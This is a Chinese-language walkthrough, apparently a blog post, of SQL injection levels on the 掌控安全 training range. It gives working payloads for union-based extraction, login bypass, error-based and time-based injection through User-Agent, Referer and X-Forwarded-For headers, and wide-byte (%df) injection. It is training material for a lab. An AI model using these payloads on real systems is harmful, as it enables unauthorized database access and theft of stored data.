掌控安全
🔥系列专栏:掌控安全
 🎉欢迎关注🔎点赞👍收藏⭐️留言📝
 📆首发时间:🌴2023年5月20日🌴
 🍭作者水平很有限,如果发现错误,还望告知,感谢!
文章目录
- 掌控安全
- 第一个
- 第二个
- 第三关
- 第四关
- 第五关
- 第六关
- 第七关
- 第八关
- 第九关
- 第十六关
- 第十七关
 
直接从这里开始
 
第一个
?id=1 and 1=1

?id=1 and 1=2
 所以存在注入
所以存在注入
 接下来判断列数以及注入点
?id=1 order by 3
?id=1 order by 4 //页面不正常

 
 所以有三列
 接下来找一下注入点
?id=1 union select 1,2,3
 所以2,3是注入点
所以2,3是注入点
接下来直接梭哈表名
?id=1 union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database())

 梭哈列名
?id=1 union select 1,2,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='error_flag')
 接下来直接在对应的表中查询字段
接下来直接在对应的表中查询字段
?id=1 union select 1,2,flag from error_flag

第二个
 这是一个字符型
这是一个字符型
 所以我们要构造引号闭合
?id=1' or 1=1 --+
?id=1' or 1=2 --+
页面显示不同
所以存在sql注入
找一下字段
?id=1' order by 3--+
?id=1' order by 4--+
页面不同,所以有三段
然后跟之前一样了

第三关
构造括号与引号闭合
?id=1') or 1=1--+
最后加上注释符
 
 然后都是一样
第四关
同理
?id=1") or 1=1--+
第五关
' or 1=1 -- 
最后面有一个空格,-- 是注释
万能密码登陆成功,所以存在sql注入
并且注释是--空

 接下来猜字段
' or 1=1 order by 3 -- 
' or 1=1 order by 4 -- 
 说明是三列
说明是三列
用or的话就要让之前的为假,这样就会输出后面为真的内容
' or 1=2 union select 1,2,3 -- 
后面的也一样了
 
' or 1=2 union select 1,2,(select group_concat(column_name) from information_schema.columns
where table_name='flag') -- 

 接下来从flag表拿数据
' or 1=2 union select 1,flag,3 from flag -- 

第六关
万能密码
") or 1=1 -- 

 同理
第七关
head注入
 一般采用报错注入
 报错注入采取了一些函数
 在实际操作中需要绕过,利用内联,宽字节等等很多方法
 同时需要注意的是,一般只有登陆成功的时候才会成功
 因为只有这个时候服务器才会记录你的head头信息
 所以前期爆破一下
 admin/123456
我们这里直接抓包
 ' or sleep(10),1)#
先时间盲注一下,可以看到页面延迟了10秒,并且通过尝试知道了注释符是#
 所以我们构造攻击性语句
  在这里我们把这个打开,就可以自动跟踪我们发的包与上一个包的不同
在这里我们把这个打开,就可以自动跟踪我们发的包与上一个包的不同
 
' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),1),1)#

User-Agent: ' or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='flag_head')),1),1)#

User-Agent: ' or updatexml(1,concat(0x7e,(select group_concat(flag_h1) from flag_head)),1),1)#

第八关
也是head注入
 这次是在refer头
 复制上面的操作
 先进行时间盲注
 
 盲注成功
 接下来的操作都一样
第九关
添加一个XFF头
 然后去盲注
x-forwarded-for:  ' or sleep(10),1)#
盲注成功,复制即可
 
第十六关
之前几关都是盲注,原理很简单,但是都需要爆破批量跑数据
 这里就不演示了,可以用sqlmap直接跑的
 如果想知道sqlmap的原理,可以简单地burp抓一下包去看
 proxifier做全局代理到bp,然后就行了
 第16关是宽字节注入

 可以看到多了一个反斜杠
 宽字节的原理就不多说了
 就是值两个单字节组成了⼀个宽字节,因为有些数据库是gbk编码产⽣的问题,在输⼊引号等特殊符号的时候,会进⾏转义添加(%5c),所以采⽤在闭合的时候与%5c组成⼀个宽字节使\作⽤失效。
id=1%df' and 1=1 -- 
id=1%df' and 1=2 -- 

可以看到那个乱码符号与\挨在了一起,所以他们两个就组成可一个宽字节,我们的被转义的引号就被释放出来了
然后接下来的就不变了,跟之前第二关的报错注入一样,但是有一个地方需要注意一下
 前面的判断列数就跳过先
%df' and 1=2 union select 1,2,database() -- qqq //查询库名,这里我发现我的空格老被吃掉,所以随便放点东西,反正--空格会注释掉后面的
 接下来要看看widechar库里有那些表
接下来要看看widechar库里有那些表
%df' and 1=2 union select 1,2,table_name from information_schema.tables where table_schema = database() limit 0,1 -- qqq
得到表名为china_flag
现在我们要从china_flag中拿数据
 本来应该是这样的,但是没有东西
%df' and 1=2 union select 1,2,column_name from information_schema.columns where table_schema=database() and table_name=china_flag limit 0,1 -- qqq
因为系统编码方式(utf8)跟数据库采用的编码(gbk)方式不一样,所以再解析的时候会出现一些问题,这只在采用了gbk方式的数据库中会出现,所以我们可以将表名等信息均替换为对应的16禁止编码即可
china_flag = 0x6368696e615f666c6167
%df' and 1=2 union select 1,2,column_name from information_schema.columns where table_schema=database() and table_name=0x6368696e615f666c6167limit 0,1 -- qqq

 而后再limit 0,2看第二个字段
 看到了c_flag字段
 查看即可
%df' and 1=2 union select 1,2,C_Flag from china_flag limit 0,1 -- qqq
第十七关
闭合不同,其他一样
%df") and 1=2 union select 1,2,database() -- qqq















![[CTF/网络安全] 攻防世界 robots 解题详析](https://img-blog.csdnimg.cn/2e490a5cd85a4a409e52cfde431659fd.png#pic_center)


